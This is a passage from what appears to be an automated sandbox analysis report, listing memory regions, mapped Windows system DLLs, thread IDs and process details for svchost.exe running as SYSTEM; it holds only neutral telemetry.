[0x7] Region: id = 936 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 937 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 938 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 939 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 940 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 941 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 942 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 943 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 944 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 945 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 946 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 947 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 948 start_va = 0x330000 end_va = 0x331fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 949 start_va = 0x340000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 950 start_va = 0x350000 end_va = 0x350fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 951 start_va = 0x360000 end_va = 0x360fff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 952 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 953 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 954 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 955 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 956 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 957 start_va = 0x800000 end_va = 0x8bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 958 start_va = 0x8c0000 end_va = 0xcb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 959 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 960 start_va = 0xd60000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 961 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 962 start_va = 0xf40000 end_va = 0x120efff entry_point = 0xf40000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 963 start_va = 0x1240000 end_va = 0x12bffff entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 964 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 965 start_va = 0x1480000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 966 start_va = 0x15c0000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 967 start_va = 0x1770000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 968 start_va = 0x18b0000 end_va = 0x18bffff entry_point = 0x0 region_type = private name = "private_0x00000000018b0000" filename = "" Region: id = 969 start_va = 0x1940000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 970 start_va = 0x1a70000 end_va = 0x1b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 971 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 972 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 973 start_va = 0x1ce0000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 974 start_va = 0x1d60000 end_va = 0x1e1ffff entry_point = 0x1d60000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 975 start_va = 0x1ea0000 end_va = 0x1f1ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 976 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 977 start_va = 0x2050000 end_va = 0x224ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 978 start_va = 0x73e50000 end_va = 0x73e52fff entry_point = 0x73e50000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 979 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 980 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 981 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 982 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 983 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 984 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 985 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 986 start_va = 0x7fef69e0000 end_va = 0x7fef69f8fff entry_point = 0x7fef69e0000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 987 start_va = 0x7fef6a00000 end_va = 0x7fef6a14fff entry_point = 0x7fef6a00000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 988 start_va = 0x7fef6a30000 end_va = 0x7fef6a3afff entry_point = 0x7fef6a30000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 989 start_va = 0x7fef7750000 end_va = 0x7fef7768fff entry_point = 0x7fef7750000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 990 start_va = 0x7fef7770000 end_va = 0x7fef777ffff entry_point = 0x7fef7770000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 991 start_va = 0x7fef7780000 end_va = 0x7fef7791fff entry_point = 0x7fef7780000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 992 start_va = 0x7fef7800000 end_va = 0x7fef7863fff entry_point = 0x7fef7800000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 993 start_va = 0x7fef7870000 end_va = 0x7fef78e0fff entry_point = 0x7fef7870000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 994 start_va = 0x7fef8740000 end_va = 0x7fef87bbfff entry_point = 0x7fef8740000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 995 start_va = 0x7fefada0000 end_va = 0x7fefadb7fff entry_point = 0x7fefada0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 996 start_va = 0x7fefadc0000 end_va = 0x7fefadd0fff entry_point = 0x7fefadc0000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 997 start_va = 0x7fefadf0000 end_va = 0x7fefae42fff entry_point = 0x7fefadf0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 998 start_va = 0x7fefaf30000 end_va = 0x7fefaf39fff entry_point = 0x7fefaf30000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 999 start_va = 0x7fefaf50000 end_va = 0x7fefaf5afff entry_point = 0x7fefaf50000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1000 start_va = 0x7fefaf60000 end_va = 0x7fefaf86fff entry_point = 0x7fefaf60000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1001 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1002 start_va = 0x7fefb050000 end_va = 0x7fefb05bfff entry_point = 0x7fefb050000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1003 start_va = 0x7fefb0d0000 end_va = 0x7fefb0e4fff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1004 start_va = 0x7fefb590000 end_va = 0x7fefb667fff entry_point = 0x7fefb590000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 1005 start_va = 0x7fefb700000 end_va = 0x7fefb70bfff entry_point = 0x7fefb700000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1006 start_va = 0x7fefb830000 end_va = 0x7fefb837fff entry_point = 0x7fefb830000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1007 start_va = 0x7fefb8c0000 end_va = 0x7fefb933fff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1008 start_va = 0x7fefbae0000 end_va = 0x7fefbaf7fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1009 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1010 start_va = 0x7fefc850000 end_va = 0x7fefc856fff entry_point = 0x7fefc850000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1011 start_va = 0x7fefc940000 end_va = 0x7fefc95afff entry_point = 0x7fefc940000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1012 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1013 start_va = 0x7fefcab0000 end_va = 0x7fefcab9fff entry_point = 0x7fefcab0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1014 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1015 start_va = 0x7fefccd0000 end_va = 0x7fefcd2afff entry_point = 0x7fefccd0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1016 start_va = 0x7fefce40000 end_va = 0x7fefce46fff entry_point = 0x7fefce40000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1017 start_va = 0x7fefce50000 end_va = 0x7fefcea4fff entry_point = 0x7fefce50000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1018 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1019 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1020 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1021 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1022 start_va = 0x7fefd4c0000 end_va = 0x7fefd550fff entry_point = 0x7fefd4c0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1023 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1024 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1025 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1026 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1027 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1028 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1029 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1030 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1031 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1032 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1033 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1034 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1035 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1036 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1037 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1038 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1039 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1040 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1041 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1042 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1043 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1044 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1045 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1046 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1047 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1048 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1049 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1050 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1051 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1052 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1053 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1054 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 47 os_tid = 0x328 Thread: id = 48 os_tid = 0x630 Thread: id = 49 os_tid = 0x75c Thread: id = 50 os_tid = 0x754 Thread: id = 51 os_tid = 0x730 Thread: id = 52 os_tid = 0x72c Thread: id = 53 os_tid = 0x728 Thread: id = 54 os_tid = 0x158 Thread: id = 55 os_tid = 0x130 Thread: id = 56 os_tid = 0x128 Thread: id = 57 os_tid = 0x12c Thread: id = 58 os_tid = 0xc8 Thread: id = 59 os_tid = 0x57c Thread: id = 60 os_tid = 0x40c Thread: id = 112 os_tid = 0x8a8 Thread: id = 131 os_tid = 0x924 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xb1ed000" os_pid = "0x33c" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x6c0" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bbac" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1144 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1145 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1146 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1147 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1148 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1149 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1150 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1151 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1152 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1153 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1154 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1155 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1156 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1157 start_va = 0x1b0000 end_va = 0x1b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1158 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1159 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1160 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1161 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 1162 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1163 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1164 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1165 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 1166 start_va = 0x240000 end_va = 0x244fff entry_point = 0x240000 region_type = mapped_file name = "sysmain.dll.mui" filename = "\\Windows\\System32\\en-US\\sysmain.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\sysmain.dll.mui") Region: id = 1167 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1168 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1169 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1170 start_va = 0x480000 end_va = 0x607fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1171 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1172 start_va = 0x7a0000 end_va = 0x85ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1173 start_va = 0x860000 end_va = 0xc52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1174 start_va = 0xc80000 end_va = 